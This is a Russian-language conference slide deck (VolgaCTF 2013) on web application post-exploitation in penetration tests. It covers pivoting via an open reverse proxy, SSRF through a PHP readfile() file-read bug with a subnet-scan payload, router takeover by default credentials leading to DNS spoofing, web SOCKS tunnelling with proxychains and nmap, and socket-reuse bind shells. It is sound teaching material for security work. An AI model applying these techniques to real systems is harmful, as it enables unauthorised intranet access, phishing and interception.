Some aspects of web applications post exploitation.

1. Атаки на веб-приложения в тестах на
проникновение
VolgaCTF 2013
Ганиев Омар
Отдел анализа защищенности

2. Curriculum Vitae
― Изучаю ИБ лет 6
― Факультет математики НИУ-ВШЭ
― CTF-команда RDot.Org
― Хакерский отдел «Информзащиты»
― Beched

3. Проникновение
― Цепочка некоторых действий
― Недостаточно одной уязвимости
― Разные пути для достижения цели
― Защищенность определяется слабым звеном
― Black vs white box, внутреннее vs внешнее

4. Кто самое слабое звено?
Персонал
Web-
приложения
Сетевое
оборудование
СУБД
Файловые
хранилища
Прочие
сетевые
сервисы

5. Кто самое слабое звено?
36%
56%
73%
0%
10%
20%
30%
40%
50%
60%
70%
80%
2010 2011 2012
Успешность проведение атак методом
социальной инженерии за последние 3
года

6. Зачем тогда ломать web?
― Больше свободы действий (меньше
согласований), меньше риск провала
― Веб-приложения всюду есть, и они часто
«самописные»
― Зачастую критичные ресурсы напрямую связаны
и с web-приложением
― Более распространённая в жизни модель
взлома

7. Какие проблемы?
― Веб-серверы обычно в DMZ
― Значит, трудно настроить канал связи, и трудно
попасть в другие сегменты
― Низкие привилегии HTTP-демона
― Требуется больше технических навыков

8. Некоторые решения
― При наличии таблицы маршрутизации можно
найти путь для проникновения на
ориентированном графе маршрутов сети
― Поднятие привилегий
(kernel, libraries, backups, suid-binaries, crontab, …)
― Другие пути (см. далее)

9. ― Intranet access via HTTP proxy
― SSRF via LFR
― DNS-spoofing via router
― Intranet access via web socks
― Bind shell via socket reuse
Cases

10. Intranet access via HTTP proxy
― Squid, mod_proxy… По умолчанию всё ok
― server: WebSEAL/6.0.0.0 (Build 051114), wtf?
― IBM Tivoli WebSEAL reverse proxy
― Авторизация не включена
― GET http://some-host.intranet/somepage HTTP/1.1...
― Intranet

11. auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 172.30.109.249
netmask 255.255.255.0
gateway 172.30.109.254
SSRF via LFR
<? //LFR = Local File Reading
readfile($_GET[‘filename’]);
Из документации PHP:
int readfile ( string $filename [, bool $use_include_path = false [, resource $context ]] )
Читаем исходники, конфиги, но RCE не получилось =(
download.php?filename=/etc/network/interfaces

12. SSRF via LFR
Но $filename в мануале PHP – это URL, а не просто путь.
SSRF – Server-Side Request Forgery
(в данном случае имеем простейшую вариацию).
/etc/network/interfaces => IP-адрес и маска =>
сканирование подсети:
download.php?filename=http://172.30.109.1-254:1-65535/

13. SSRF via LFR
download.php?filename=http://172.30.109.2/
Squid
stats

14. SSRF via LFR
Что можно ещѐ сделать?
PHP wrappers:
http://php.net/manual/en/wrappers.php
SSRF bible (cheatsheet by d0znpp):
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYX
BcdLUedXGb9njTNIJXa3u9akHM
HTTP, FTP, SSH, File Descriptors…
Может привести к исполнению кода.

15. DNS spoofing via router
FTP brute force => admin:admin
Admin
panel

16. DNS spoofing via router
config.img => privileged admin
Telnet
console
<chain N="USERNAME_PASSWORD">
<V N="FLAG" V="0x0"/>
<V N="USERNAME" V="admin"/>
<V N="PASSWORD" V=“**PASSHERE**"/>
<V N="BACKDOOR" V="0x1"/>
<V N="PRIORITY" V="0x1"/>
</chain>

17. DNS spoofing via router
DNS spoofing, Bind9 logging => logs
$ cat /etc/namedb/named.conf
……
logging {
channel my_file {
file "log.msgs";
severity debug;
print-category yes;
print-severity yes;
};
category default { default_syslog; my_file; };
category queries { my_file; };
};

18. DNS spoofing via router
Host forgery => HTTP logs
*.kaspersky.com IN A 31.3.3.7
Apache logs

19. DNS spoofing via router
― Мониторинг посещаемых узлов
― Подмена страниц на фишинговые
― Подмена обновлений ПО (на скриншоте выше
логи обращения KIS)
― PPP-аккаунт у провайдера

20. Intranet access via web socks
― Web-shell (PHP, ASP.NET, …)
― Привилегии поднять не удалось
― DMZ, на NAT открыт только 80 или 443 порты
― Что делать?
― Web Socks!
― Intranet

21. Intranet access via web socks
Some packet => SOCKS => ProxyChains
=> Local daemon => HTTP => Web SOCKS => Target

22. Локально запускаем демон. Инкапсулируем любой протокол
в SOCKS, демон его инкапсулирует в HTTP и передаѐт пакет
PHP-скрипту через веб-сервер.
Скрипт работает по протоколу SOCKS, возвращая ответы по
HTTP, используя веб-сервер, т.е. не нужно биндить порт и
обходить DMZ.
Далее проксифицируем ПО (в т. ч. Nmap, RDP-клиенты) при
помощи proxychains.
$ cat /etc/proxychains.conf | grep socks5
socks5 127.0.0.1 1080
$ proxychains nmap --top-ports 100 10.10.17.0/24
…
Intranet access via web socks

23. Реализации web SOCKS.
На PHP от ShAnKaR (Antichat);
http://forum.antichat.ru/threadnav177147-1-10.html
На ASP.NET (reDuh) от SensePost:
http://research.sensepost.com/tools/web/reduh
Intranet access via web socks

24. Bind shell via socket reuse
― Web-shell (PHP, ASP.NET, …)
― Удалось получить привилегии суперпользователя
― DMZ, на NAT открыт только 80 или 443 порты
― Что делать? Не ронять же веб-сервер!
― Socket reuse!
― Нормальный терминал

25. Bind shell via socket reuse
Приоритет демонов повышается от частного к общему
$ cat /etc/apache2/ports.conf | grep Listen
Listen *:80
$ sudo netstat –apn | grep 80
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 12669/apache2
Socket reuse:
…
setsockopt( sockfd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on) );
…
serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); //just example
Может не сработать, например, на SELinux. Зато работает на FreeBSD
Можно просто одним сценарием отключить Apache, запустить демон шелла
и запустить Apache, перехватив первое соединение
(закрываем дескриптор сокета, не закрывая соединение).
Но это риск.

26. Outro
― Во всём виноваты люди
― Людей проще эксплуатировать, но проще и
провалиться
― Веб-приложения эксплуатировать сложнее, но это
происходит незаметно
― Для взлома веб-серверов надо знать скриптовые
языки и структуру ОС
― Для проникновения надо знать структуру сетей и
размышлять в разных плоскостях

27. Ганиев Омар
Отдел анализа защищѐнности
admin@ahack.ru
VolgaCTF 2013
Вопросы?